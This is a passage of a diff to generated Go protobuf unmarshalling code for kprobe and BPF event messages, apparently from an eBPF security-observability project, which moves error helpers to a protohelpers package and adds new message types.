return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -12273,7 +12787,7 @@ func (m *KprobeCapability) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12301,7 +12815,7 @@ func (m *KprobeCapability) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12314,11 +12828,11 @@ func (m *KprobeCapability) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12326,16 +12840,8 @@ func (m *KprobeCapability) UnmarshalVT(dAtA []byte) error { if m.Value == nil { m.Value = &wrapperspb.Int32Value{} } - if unmarshal, ok := interface{}(m.Value).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Value); err != nil { - return err - } + if err := (*wrapperspb.Int32Value)(m.Value).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 2: @@ -12345,7 +12851,7 @@ func (m *KprobeCapability) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12359,11 +12865,11 @@ func (m *KprobeCapability) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12372,12 +12878,12 @@ func (m *KprobeCapability) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -12400,7 +12906,7 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12428,7 +12934,7 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12441,11 +12947,11 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12453,16 +12959,8 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { if m.Level == nil { m.Level = &wrapperspb.Int32Value{} } - if unmarshal, ok := interface{}(m.Level).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Level); err != nil { - return err - } + if err := (*wrapperspb.Int32Value)(m.Level).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 2: @@ -12472,7 +12970,7 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12485,11 +12983,11 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12497,16 +12995,8 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { if m.Owner == nil { m.Owner = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Owner).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Owner); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Owner).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 3: @@ -12516,7 +13006,7 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12529,11 +13019,11 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12541,16 +13031,8 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { if m.Group == nil { m.Group = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Group).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Group); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Group).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 4: @@ -12560,7 +13042,7 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12573,11 +13055,11 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12591,12 +13073,12 @@ func (m *KprobeUserNamespace) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -12619,7 +13101,7 @@ func (m *KprobeBpfAttr) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12647,7 +13129,141 @@ func (m *KprobeBpfAttr) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ProgType = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field InsnCnt", wireType) + } + m.InsnCnt = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.InsnCnt |= uint32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ProgName", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ProgName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KprobeBpfProg) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KprobeBpfProg: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KprobeBpfProg: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ProgType", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12661,11 +13277,11 @@ func (m *KprobeBpfAttr) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12679,7 +13295,7 @@ func (m *KprobeBpfAttr) UnmarshalVT(dAtA []byte) error { m.InsnCnt = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12698,7 +13314,7 @@ func (m *KprobeBpfAttr) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12712,11 +13328,11 @@ func (m *KprobeBpfAttr) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12725,12 +13341,12 @@ func (m *KprobeBpfAttr) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -12753,7 +13369,7 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12781,7 +13397,7 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12795,11 +13411,11 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12813,7 +13429,7 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12827,11 +13443,11 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12845,7 +13461,7 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { m.Config = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12864,7 +13480,7 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { m.ProbeOffset = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12878,12 +13494,12 @@ func (m *KprobePerfEvent) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -12906,7 +13522,7 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12934,7 +13550,7 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12948,11 +13564,11 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12966,7 +13582,7 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { m.KeySize = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12985,7 +13601,7 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { m.ValueSize = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13004,7 +13620,7 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { m.MaxEntries = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13023,7 +13639,7 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13037,11 +13653,11 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13050,12 +13666,12 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -13070,7 +13686,7 @@ func (m *KprobeBpfMap) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *SyscallId) UnmarshalVT(dAtA []byte) error { +func (m *KprobeError) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -13078,7 +13694,7 @@ func (m *SyscallId) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13093,39 +13709,20 @@ func (m *SyscallId) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: SyscallId: wiretype end group for non-group") + return fmt.Errorf("proto: KprobeError: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: SyscallId: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: KprobeError: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) - } - m.Id = 0 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - m.Id |= uint32(b&0x7F) << shift - if b < 0x80 { - break - } - } - case 2: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Abi", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Message", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13139,11 +13736,113 @@ func (m *SyscallId) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Message = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SyscallId) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SyscallId: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SyscallId: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + } + m.Id = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Id |= uint32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Abi", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13152,12 +13851,12 @@ func (m *SyscallId) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -13180,7 +13879,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13208,7 +13907,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13222,11 +13921,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13240,7 +13939,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var v int32 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13260,7 +13959,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13273,11 +13972,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13301,7 +14000,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var v uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13321,7 +14020,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var byteLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13334,11 +14033,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if byteLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + byteLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13354,7 +14053,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13367,11 +14066,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13395,7 +14094,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13408,11 +14107,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13436,7 +14135,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13449,11 +14148,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13477,7 +14176,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13490,11 +14189,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13518,7 +14217,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13531,11 +14230,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13559,7 +14258,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var v int64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13579,7 +14278,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13592,11 +14291,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13620,7 +14319,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return 